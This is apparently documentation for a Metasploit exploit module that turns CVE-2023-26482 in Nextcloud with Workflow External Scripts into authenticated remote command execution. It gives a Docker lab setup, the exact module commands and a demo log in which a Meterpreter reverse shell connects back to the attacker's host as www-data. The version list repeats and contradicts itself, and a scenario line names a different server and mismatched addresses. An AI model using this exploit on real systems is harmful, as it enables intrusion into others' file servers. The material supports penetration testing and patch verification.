## Description

This module exploits a command injection that leads to a remote execution in Nextcloud installations if the app Workflow External Scripts is also installed. 
The vulnerability affects Nextcloud versions >= 24.0.0, >= 25.0.0, >= 18.0.0, >= 19.0.0, >= 20.0.0, >= 21.0.0, >= 22.0.0, >= 23.0.0, >= 24.0.0, >= 25.0.0

A missing scope validation allowed users to create workflows which are designed to be only available for administrators. In combination with Workflow External Script, this vulnerability
leads to authenticated remote command execution.

More about the vulnerability detail: [CVE-2023-26482](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-26482).

The module will automatically use `cmd/linux/http/x64/meterpreter/reverse_tcp` payload.

The module will check if the target is vulnerable, by adding and removing a dummy-workflow.


## Vulnerable Application

[Nextcloud](https://nextcloud.com/) is a suite of client-server software for creating and using file hosting services.

This module has been tested successfully on Nextcloud versions:

* Nextcloud version 24.0.5

### Source and Installers

* [Source Code Repository](https://github.com/nextcloud/server/releases/tag/v24.0.5)
* [Docker](https://hub.docker.com/_/nextcloud)

### Docker Installation

This exploit was tested using a [nextcloud docker container](https://hub.docker.com/_/nextcloud) and [docker-compose](https://docs.docker.com/compose/)
with the following docker-compose.yml:

```yaml
volumes:
  nextcloud:
  db:

services:
  db:
    image: mariadb:10.6
    restart: always
    command: --transaction-isolation=READ-COMMITTED --log-bin=binlog --binlog-format=ROW
    volumes:
      - db:/var/lib/mysql
    environment:
      - MARIADB_ROOT_PASSWORD=root
      - MARIADB_PASSWORD=root
      - MARIADB_DATABASE=nextcloud
      - MARIADB_USER=nextcloud

  app:
    image: nextcloud:24.0.5
    restart: always
    ports:
      - 8080:80
    links:
      - db
    environment:
      - MYSQL_PASSWORD=root
      - MYSQL_DATABASE=nextcloud
      - MYSQL_USER=root
      - MYSQL_HOST=db
      - NEXTCLOUD_ADMIN_PASSWORD=admin
      - NEXTCLOUD_ADMIN_USER=admin
      - NEXTCLOUD_TRUSTED_DOMAINS="192.168.233.64:8080"
    depends_on:
      - db
```

**_NOTE:_** Change the IP-address and port for NEXTCLOUD_TRUSTED_DOMAINS for your setup

After `docker compose up -d` login as admin and install the workflow app: "Workflow external script" and
create a low privileged user `alice`. Make sure that you choose "Cron(Recommended)" in the Settings for "Background Jobs".
Before we can run the exploit, we need to start the cronjob. This is crucial because otherwise the
payload doesn't get triggered:

```
docker exec -it -u www-data nextcloud-app-1 /bin/bash
watch -n2 php cron.php
```

Wait until you the watch-command outputs something like: "Every 2.0s: php cron.php". 

## Verification Steps
Example steps in this format (is also in the PR):

1. Do: `use exploit/unix/webapp/nextcloud_workflows_rce`
2. Do: `set RHOSTS [ips]`
3. Do: `set LHOST [lhost]`
4. Do: `set RPORT 8080`
5. Do: `set USERNAME alice`
6. Do: `set PASSWORD alice-password`
7. Do: `run`
8. You should get a shell after a while

## Options

### TARGETURI

Remote web path to the nextcloud installation (default: /)

### USERNAME

The low-privileged username to authenticate to nextcloud

### PASSWORD

The password for the low-privileged user

## Scenarios

In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is
192.42.1.188.

### Nextcloud 24.0.5(docker-compose) 

The following demo shows how to use the exploit:

```
msf > use exploit/unix/webapp/nextcloud_workflows_rce
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(unix/webapp/nextcloud_workflows_rce) > set RHOSTS 192.168.233.64
RHOSTS => 192.168.233.64
msf exploit(unix/webapp/nextcloud_workflows_rce) > set LHOST 192.168.233.117
LHOST => 192.168.233.117
msf exploit(unix/webapp/nextcloud_workflows_rce) > set RPORT 8080
RPORT => 8080
msf exploit(unix/webapp/nextcloud_workflows_rce) > set USERNAME alice
USERNAME => alice
msf exploit(unix/webapp/nextcloud_workflows_rce) > set PASSWORD CaeD4ohchaiv5ieDooBa
PASSWORD => CaeD4ohchaiv5ieDooBa
msf exploit(unix/webapp/nextcloud_workflows_rce) > run
[*] Started reverse TCP handler on 192.168.233.117:4444
[*] Sending payload..
[+] Workflow created
[*] Waiting for the payload to connect back ..
[*] Sending stage (3045380 bytes) to 192.168.233.64
[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 192.168.233.64:37090) at 2025-04-10 13:27:49 +0000
[+] Payload connected!
[*] Cleaning up

meterpreter > getuid
Server username: www-data
```

## Limitations
Ensure that your `WfsDelay` advanced option is set to a value that allows `cron` to execute the payload. Default is 16 minutes
